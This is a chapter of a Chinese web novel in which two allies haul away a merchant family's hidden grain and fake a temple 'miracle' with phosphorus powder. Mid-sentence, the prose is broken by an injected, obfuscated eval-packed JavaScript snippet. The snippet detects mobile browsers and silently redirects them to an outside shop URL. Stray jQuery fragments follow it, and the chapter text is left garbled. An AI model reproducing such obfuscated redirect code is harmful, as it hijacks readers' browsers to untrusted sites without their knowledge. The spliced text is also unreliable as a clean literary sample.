文趣网 > 其他小说 > 和死对头一起打天下 > 6. 第 6 章
    翌日晚,明月悬挂高空,月光轻轻地抚摸着树枝,落下细碎的黑影。

    一阵马蹄声穿梭在密林中,林青烟坐在车辕上,赶着驴车,背后的板车上堆满粮袋,顾长风翘着二郎腿靠在车尾。

    他仰头看向夜空,星光繁烁,月光,已经很久没有这样轻松的感觉,没想到是在这么紧迫下忙里偷闲。

    林青烟在前面挥动着鞭子,心情畅快道:“没看出来啊!秦勇他们这几个月真把这边摸得透透的,这么隐蔽的山洞都能被他们找到,不然要搬十石粮真有些困难。”

    她轻快的声音伴着夜风吹进顾长风耳边,他眉眼舒展一笑,眼中的忧郁在一点点消散,似乎只要和林青砚呆在一起他心中的烦闷都能被一扫而空。

    “青砚!下一步什么打算?”

    他并未察觉自己的心已经慢慢向她打开,慢慢开始卸下防备。

    入世化名“林青砚”,‘青砚’二字既是为了区分,也是为了不忘本性。

    轻松随意的口吻让两人的关系似乎更近一些,她长鞭在空中微顿,随即落下,她向后一仰靠在垒起的粮堆上。

    “既然上苍已经降罚,那便顺势而为。我们逃了这些日子,也该亮相了。”

    不管平阳侯还是石幽,二者必有一支队伍定会攻下南衢,但赵家却坚持藏粮于此而不运走,着实奇怪。若背后真有人相助,他的目的又是什么呢?

    赵家的为人做派不像是在等石幽的起义军,那么就只剩下平阳侯了。

    又或许,螳螂捕蝉,黄雀在后[1]?

    又或者说石幽必败无疑!

    看来之前在昭沧起义的计划行不通了,但顾家的事还是要先一步解决。

    罪名拖得越久,就越难解释清楚。

    这把火反正都烧起来了,就直接干波大的。

    “你知道有什么可以烧掉之后,还能留下痕迹吗?”

    顾长风听到她的问题,陷入了思考,想了想后说道。

    “磷粉、硝盐。”

    磷火助燃,硝盐燃烧后显性。这两者加一起,饶是再不相信鬼神的人,怕是心中也会动摇了。

    这一套连招真是环环相扣。

    顾长风嘴里叼着狗尾草,驴车上的铃铛取下,只剩下车轮在泥泞路上晃荡的声音。

    宽大的叶片投下的阴翳和路边的石子融为一体,车轮压上,驴车不禁晃荡一下,顾长风被晃着撞上左边的围挡,顿时灵光一下。

    不对!

    鱼腹里的丝绢,把上苍即将降罚于赵家的传闻传开,虽说可以再次坐实,但完全没必要,白磷难得,在制作和布置上都比前一个困难许多。

    所以,林青砚究竟所求为何?

    他心中早有猜测,却不敢去想,也不敢去确认。

    车还在往前走,路也还长,人却不能被困在原地。

    林青烟学着那日在竹筏上顾长风的语气,“怎么不问问我,什么这么做?”

    嘴上叼着的狗尾巴草被拿在手中,他指尖捏紧,哑声道:“为什么?”她没有直接回答,而是和他讲起来刻舟求剑的故事。

    她的声音就像吹在脸上的这阵微风,能够让人暂时忘却烦恼。

    “都说‘刻舟求剑’是在劝谏人要懂得变通,不能只认死理。我觉得,这个典故是在说,人不要被困在原地。”

    驴车驮着他们还在向前走,她转身,透过缝隙看着他的背影,“但他们也该有个善终,正义已经迟到,我们要把他们的真相带到能被看见的地方。”

    眼前的人似有感应,他侧过身,两人的目光在缝隙中汇集,喉咙上下滚动一下,努力咽下哽咽,“多谢。”

    “这次需要我做什么?”

    “需要你站在我身边。”

    她确定顾长风听懂了,但他没说话,就这样两人沉默着到达了山下。

    运了几趟后,眼瞧着天也快亮了,几人收拾完便悄然离开。

    赵家祖上起初只是做点小买卖,后来赵大爷的父亲娶了个官家小姐,虽然已经落魄但好歹有些门路,后来生意越做越大,靠着贵人牵线搭上了宫里,这才成了皇商。

    如今瞧着赵家是赵家大朗——赵鸿当家,但家中的生意都要由老夫人点头才能做。

    门帘从外掀开,仆人躬身入内,“老夫人,家主来了。”

    正中的香炉青烟袅袅,老夫人在榻上闭目养神,旁边的老仆妇轻摇着团扇。右首下方,奶妈怀中抱着的男童,手中的小木马正摇着逗他,孩童咧着嘴咯咯大笑,隐约还能看江刚冒出头的乳牙。

    她睁开眼,先是瞧了眼她的乖孙儿,“先带少爷出去。”

    “请家主进来吧。”

    他躬身站定在三步外,头埋得极低,不敢抬头直视,整个人佝偻着身子。赵老夫人眼皮未抬,身旁的团扇节律不乱,“说吧,出了什么事?”

    赵鸿喉结滚了滚,还未开口额上的汗珠先冒了出来,“母亲,城外的粮食少了至少十石粮。”

    说毕,他扑通一声便跪在地上,汗珠顺着滴落在石板上。

    老妇人手中的团扇顿了一下,眼神不经意间瞥过,只见赵老夫人眉间蹙着,嘴角向下。

    “谁干的?事情的细枝末节都一一说清楚。”

    赵大爷从前两日坊间的传闻,说到城外粮仓消失不见巡逻队,再到凭空消失的粮食。

    一字不落地说完。

    赵鸿还跪在地上,身子俯得极低,说完还不禁咽了下口水。

    上苍降罚、凭空消失。

    她阮丽华活了四十年什么没见过,这世上要真有牛鬼蛇神,那上京就得占一半。她什么浑水没淌过,鬼有什么可怕的,这人才是最可怕。

    阮丽华握着盏盖的手轻轻拂了一下,就着那口热气抿了一下。

    “这么多的粮不见了,现在才发现。”茶盏落在案几上,赵鸿却不自觉抖了一下。

    灼热的目光盯得赵鸿后背直冒冷汗,“带人仔细找,城内城外都要找。要是找不到也不用来了,等着赵家和你一起陪葬吧。”

    这两日,城西昭感寺来了不少香客,正殿都站不下脚。

    空气中弥漫着烟气,混杂着檀香和线香的气味,熏得人眼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861129|212001||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    睛发酸。

    殿内的香客虔诚的叩拜面前的金身佛像,殿外人声鼎沸,交谈间没有往日的祥和安宁。

    三两人站在一起窃窃私语,话题离不开城中赵家关于“降罚”的流言。

    “我这有个大消息听不听?”

    赵婆子凑近同行的柳娘子身旁,一副神秘兮兮的样子,她压低嗓音说着:“昨个儿,我三嫂家的二哥家媳妇的表妹在赵家当差,她无意听见大爷吩咐人找粮,说是赵家的粮不见了!”

    啊——

    正殿外的香坛里,三支线香突然自燃起来,旁边的正要插香妇人吓得直哆嗦。

    那不是寻常的红火,而是一股幽蓝色夹杂着赤金的诡异火焰,瞬间吞噬整根线香。

    原以为就此燃尽,谁曾想火焰竟在堆积的香灰上又莫名燃了起来。

    有胆子大的人上前查看,坛内赫然大字映在瞳孔上。

    气子解困。

    四个字在其中仅仅停留了十息不到,便哗的一声消散。只留下一股焦香,隐约盖过了原本的檀香。

    在场之人一片死寂,足足过了半响才爆发出喧哗声。

    “佛祖显灵了!”

    那赵婆子更是吓得话都说不利索,双腿顿时脱力,她的手只好死死攀着旁边的人才站稳,“你……你瞧见了吗?”

    身旁的人瞳孔微怔,听不清耳边的声音,只好胡乱的嗯了一声以作回应。

    顾长风站在角落冷眼瞧着,他手中的线香已经被他无意识折断,只见香案中飘出的白烟中不再掺杂那点青色,他紧皱的眉头终于得以舒展。

    所谓的显灵都得益于他袖中藏起的特制磷粉,只需手指轻弹便会瞬间引燃,至于那香案中的大字,不过是昨夜潜进来用特制的粉末描好,只需明火点燃即可。

    从这一刻起,整个昭沧都要因这四个字而沸腾了。他隐没在人群中,悄然离去。

    赵婆子一行人回到城中时消息已经传开了,但有些人仍是不信。

    直到第二日,赵家暗中找了两日未果,无奈下只有加派人手。但动静一大,这满城的人都知道赵家的粮,不见了。

    这下传闻彻底证实。

    一连几日城中的饭后闲谈都是赵家和昭感寺。

    前些日子捕鱼期,昭沧的人大肆捕捞,这江中的鱼也就捕捞不上来什么东西了。

    家中的粮食已经见底,张家老二寻思着到山里碰碰运气,看看能不能猎点野味换换口味。

    忙活了一天终于是猎了只野兔,他提溜着两只耳朵神清气爽地打道回府。

    “娘!今天猎了只野兔!可肥了!”他提溜着野兔的两只耳朵,语气里满是傲娇。

    没人吗?清晨走的时候小侄子还在院里玩泥巴,这小兔崽子也不知道跑哪去了。

    他麻溜地几刀下去,一张完整的兔子皮被剥了下来。

    野兔的毛留着,这皮也不错,他把院中收拾利索,屋外响起他娘的大嗓门:“二娃!哎哟!你终于是回来了,这城里有善人在发粮食,这终于是有粮食吃了。”

    “这佛祖真的显灵啦!”